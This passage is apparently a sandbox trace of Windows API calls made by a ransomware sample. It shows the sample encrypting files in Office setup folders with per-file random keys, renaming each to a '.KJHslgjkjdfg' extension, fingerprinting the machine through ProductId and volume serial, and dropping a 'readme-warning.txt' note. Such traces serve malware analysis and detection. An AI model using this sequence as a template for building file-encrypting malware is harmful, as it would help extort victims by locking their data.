lpNewFilePointer=0x0) returned 1 [0164.465] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.465] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.465] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.465] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.465] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6a3b, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x6a3b, lpOverlapped=0x0) returned 1 [0164.466] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x6a40, dwBufLen=0x6a40 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x6a40) returned 1 [0164.466] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.466] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x6a40, lpOverlapped=0x0) returned 1 [0164.466] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.467] SetEndOfFile (hFile=0x114) returned 1 [0164.469] GetProcessHeap () returned 0x990000 [0164.470] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.470] GetProcessHeap () returned 0x990000 [0164.470] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.kjhslgjkjdfg")) returned 1 [0164.477] CloseHandle (hObject=0x114) returned 1 [0164.478] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0164.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.479] GetProcessHeap () returned 0x990000 [0164.479] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.479] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.480] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.480] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xa, lpOverlapped=0x0) returned 1 [0164.482] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.483] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.483] GetProcessHeap () returned 0x990000 [0164.483] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.483] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.483] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.483] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.483] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.483] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.483] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.484] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.484] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.484] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.484] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.484] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.484] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10676, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x10676, lpOverlapped=0x0) returned 1 [0164.486] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x10680, dwBufLen=0x10680 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x10680) returned 1 [0164.486] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.486] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x10680, lpOverlapped=0x0) returned 1 [0164.487] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.487] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.487] SetEndOfFile (hFile=0x114) returned 1 [0164.490] GetProcessHeap () returned 0x990000 [0164.490] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.490] GetProcessHeap () returned 0x990000 [0164.490] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.490] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.kjhslgjkjdfg")) returned 1 [0164.491] CloseHandle (hObject=0x114) returned 1 [0164.491] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0164.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.491] GetProcessHeap () returned 0x990000 [0164.491] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.491] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.491] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.491] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.493] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.494] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.494] GetProcessHeap () returned 0x990000 [0164.494] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.494] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.494] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.494] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.494] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.494] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.494] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.494] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.494] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.495] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.495] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.495] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.495] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2488, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x2488, lpOverlapped=0x0) returned 1 [0164.496] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x2490, dwBufLen=0x2490 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x2490) returned 1 [0164.496] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.496] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x2490, lpOverlapped=0x0) returned 1 [0164.496] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.496] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.496] SetEndOfFile (hFile=0x114) returned 1 [0164.498] GetProcessHeap () returned 0x990000 [0164.498] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.498] GetProcessHeap () returned 0x990000 [0164.498] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.498] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.499] CloseHandle (hObject=0x114) returned 1 [0164.499] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0164.499] GetProcessHeap () returned 0x990000 [0164.499] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.499] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.499] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.499] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.499] GetProcessHeap () returned 0x990000 [0164.499] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.500] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.500] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.500] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.500] GetProcessHeap () returned 0x990000 [0164.500] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0164.500] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.500] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.500] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.500] GetProcessHeap () returned 0x990000 [0164.500] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.500] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.500] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.500] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.500] GetProcessHeap () returned 0x990000 [0164.500] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.500] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.500] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.500] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.500] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.500] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.500] RegCloseKey (hKey=0x114) returned 0x0 [0164.501] GetProcessHeap () returned 0x990000 [0164.501] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.501] GetProcessHeap () returned 0x990000 [0164.501] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.501] GetProcessHeap () returned 0x990000 [0164.501] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.501] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.501] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.501] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.501] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.501] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.501] GetProcessHeap () returned 0x990000 [0164.501] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.501] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.501] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.501] GetProcessHeap () returned 0x990000 [0164.501] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.501] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\readme-warning.txt") returned 111 [0164.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.502] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.504] CloseHandle (hObject=0x114) returned 1 [0164.504] GetProcessHeap () returned 0x990000 [0164.504] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.504] GetProcessHeap () returned 0x990000 [0164.504] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.504] GetProcessHeap () returned 0x990000 [0164.504] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.504] GetProcessHeap () returned 0x990000 [0164.504] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.504] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.504] GetProcessHeap () returned 0x990000 [0164.504] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.504] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0164.504] GetProcessHeap () returned 0x990000 [0164.504] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xce) returned 0x9b2468 [0164.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.507] GetProcessHeap () returned 0x990000 [0164.507] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.507] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0164.507] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0164.507] GetProcessHeap () returned 0x990000 [0164.507] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2d0) returned 0x9b7e10 [0164.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 